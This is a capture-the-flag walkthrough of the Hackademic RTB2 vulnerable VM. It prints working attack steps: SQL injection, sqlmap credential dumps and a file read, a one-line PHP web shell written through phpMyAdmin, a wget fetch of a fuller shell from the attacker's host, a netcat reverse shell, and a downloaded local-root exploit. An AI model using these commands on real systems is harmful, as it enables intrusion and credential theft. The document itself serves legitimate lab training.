Hackademic-RTB2

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Introduction

Description

Hackademic RTB2 is the second edition of Hackademic vulnerable Virtual Machine. The first challenge is described here.

Installation

Hackademic RTB2 can be downloaded from following places:

Check the md5sum: 4c35e875e0ae2f872af6751f259b82b7

Environment

  • Attacker: 192.168.1.43 (BackTrack 5 R2)
  • Victim: 192.168.1.9 (VMWare Fusion)

Should you need to discover the IP address of your target, use tools like fping, netdiscover or nmap.

Challenge

Assessment

Services/Versions

A first nmap scan shows a web server on port 80/tcp and a service on port 666/tcp that looks filtered: 

root@bt:~# nmap -sS 192.168.1.9

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-08 07:57 EDT
Nmap scan report for 192.168.1.9
Host is up (0.00072s latency).
Not shown: 998 closed ports
PORT    STATE    SERVICE
80/tcp  open     http
666/tcp filtered doom
MAC Address: 00:0C:29:E5:3D:EC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds

A complete scan (against TCP and UDP) provides us with following results: 

root@bt:/pentest/database/sqlmap# nmap -sS -sU -A 192.168.1.10

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-07 16:36 EDT
Nmap scan report for 192.168.1.10
Host is up (0.00036s latency).
Not shown: 1950 closed ports, 47 open|filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Hackademic.RTB2
666/tcp  open  http    Apache httpd 2.2.14 ((Ubuntu))
| http-robots.txt: 14 disallowed entries 
| /administrator/ /cache/ /components/ /images/ 
| /includes/ /installation/ /language/ /libraries/ /media/ 
|_/modules/ /plugins/ /templates/ /tmp/ /xmlrpc/
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Hackademic.RTB2
5353/udp open  mdns    DNS-based service discovery
| dns-service-discovery: 
|   9/tcp workstation
|_    Address=192.168.1.10 2a01:e35:8b15:3430:20c:29ff:fee5:3dec
MAC Address: 00:0C:29:E5:3D:EC (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms 192.168.1.10

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1119.53 seconds

It shows that port 666/tcp is now opened and hosting a web service. We think of port knowcking. There is also a DNS based service on port 5353/udp.

Web service

Let's analyze what could be interesting on port 80/tcp. Point your browser to the root of the target:

Using dirbuster also discloses the presence of a phpmyadmin interface:

Find vulnerabilities in the first form

Let's try to find a vulnerability in the first authentication form. I have used W3AF as well as Sqlmap but have found no SQL injection. Using fuzzing techniques with BurpSuite (Intruder module) against the password field leads to the discovery of an SQL injection:

Notice that it's a real fuzzing exercise here (I must confess it's also a little bit by chance) to discover the injection (you will have to use the full list of SQL injection strings from BurpSuite as well as suffixing them with a simple quote. On the other way, the authentication mechanism doesn't make use of a database. The PHP code will show that the following combination is hard coded:

  • login: admin
  • password: ' or 1=1 --'

Anyway, this combination leads to a new message as well as as long encoded string:

Find the port-knocking combination

First decode the URL based message. It looks like a hex-encoded string. Use online resources to decode it (e.g. http://home.paulschou.net/tools/xlate/):

The hint "Knock knock knockin' on heaven's door" now confirms that this string will lead to the port knocking combination. Let's copy the binary message, paste it in the binary field and decode it:

Open port 666/tcp

The combination is: 1001:1101:1011:1001. Let's consider it's a suite of TCP ports to open port 666/tcp on the target. We will use netcat to compose the sesame: 

# for i in 1001 1101 1011 1001; do nc -z 192.168.1.9 $i; done

Let's check that it has opened the service by pointing to http://192.168.1.19:666. It's working, we can see the welcome page of a Joomla v1.5 portal.

Find a vulnerability in the second application

Now, time to find a vulnerability in the second application, the Joomla portal. Let's try to find a SQL injection. Sqlmap leads to the disclosure of the MySQL users: 

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.1.9:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D mysql -T user -C User,Password --dump
+-------------------------------------------+------------------+
| Password                                  | User             |
+-------------------------------------------+------------------+
| *5D3C124406BF85494067182754131FF4DAB9C6C7 | root             |
| *F36E6519B0B1D62AA2D5346EFAD66D1CAF248996 | debian-sys-maint |
| *5D3C124406BF85494067182754131FF4DAB9C6C7 | phpmyadmin       |
+-------------------------------------------+------------------+

However, these hashes haven't been reversed in the past and, though John The Ripper could help, it would take hours, days, ... to crack?

Let's try to dump the users from the Joomla database: 

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.1.9:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" \
   -D joomla -T jos_users -C name,password,username,usertype --dump
+----------------+-------------------------------------------------------------------+---------------+-----------------------+
| name           | password                                                          | username      | usertype              |
+----------------+-------------------------------------------------------------------+---------------+-----------------------+
| Administrator  | 08f43b7f40fb0d56f6a8fb0271ec4710:n9RMVci9nqTUog3GjVTNP7IuOrPayqAl | Administrator | Super%20Administrator |
| John%20Smith   | 992396d7fc19fd76393f359cb294e300:70NFLkBrApLamH9VNGjlViJLlJsB60KF | JSmith        | Registered            |
| Billy%20Tallor | abe1ae513c16f2a021329cc109071705:FdOrWkL8oMGl1Tju0aT7ReFsOwIMKliy | BTallor       | Registered            |
+----------------+-------------------------------------------------------------------+---------------+-----------------------+

But once again, trying to reverse the hashes is not straightforward. However, sqlmap offers the ability to read files. Let's try to read the configuration file: 

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.1.9:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" \
   --file-read="/var/www/configuration.php"
/var/www/configuration.php file saved to:    
'/pentest/database/sqlmap/output/192.168.1.9/files/_var_www_configuration.php'

Let's see what's inside: 

root@bt:/pentest/database/sqlmap# egrep -i "user|password" output/192.168.1.9/files/_var_www_configuration.php 
var $user = 'root';
var $password = 'yUtJklM97W';
var $ftp_user = ;
var $offset_user = '0';
var $smtpuser = ;

Set up a backdoor

Now that we have the password for root, let's connect to the phpmyadmin interface. Go to http://192.168.1.9/phpmyadmin and use the above credentials.

Open a SQL window and create a rudimentary shell that we will use to download a more sophisticated one: 

select "<?php system($_GET[\"cmd\"]); ?>" > into outfile "/var/www/shell.php"

Let's test it:

Now, let's download a more sophisticated PHP shell. Download it on your Bakctrack distribution, uncompress it in your /var/www/ directory and start your webserver (/etc/init.d/apache2 start).

From your browser, use following commands: 

http://192.168.1.9:666/shell.php?cmd=wget%20http://192.168.1.43/phpshell.txt

The above command will download the PHP shell. Now let's modify the extension to php: 

http://192.168.1.9:666/shell.php?cmd=mv%20/var/www/phpshell.txt%20/var/www/phpshell.php

You should now be able to access your PHP shell:

Reverse shell

To use the reverse shell, open a socket on your Backtrack with netcat: 

nc -lvvp 5555

And from the "Back Connect" feature (top menu of the PHP shell interface), configure it as follows:

From your Backtrack terminal, you now have a complete shell to the machine, with limited privileges: 

root@bt:~# nc -lvvp 5555
listening on [any] 5555 ...
192.168.1.9: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.43] from (UNKNOWN) [192.168.1.9] 48972
expr: syntax error
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd /root
cd: 3: can't cd to /root
uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux

Privileges escalation

After some researches on http://www.exploit-db.com, you will find an exploit that works (http://www.exploit-db.com/download/14814).

From your reverse shell, download it, compile it and execute it: 

wget http://www.exploit-db.com/download/14814 -O 14814.c
gcc 14814.c -o 14814
chmod +x 14814
./14814
id
uid=0(root) gid=0(root)

Decrypt the key

The Key.txt in /root contains a base64 hash. Let's decrypt it and see what it is: 

base64 -d Key.txt > output
file output
output: PNG image, 756 x 344, 8-bit/color RGB, non-interlaced

It's a PNG image. Let's copy it in /var/www: 

mv output /var/www/

Here is it:

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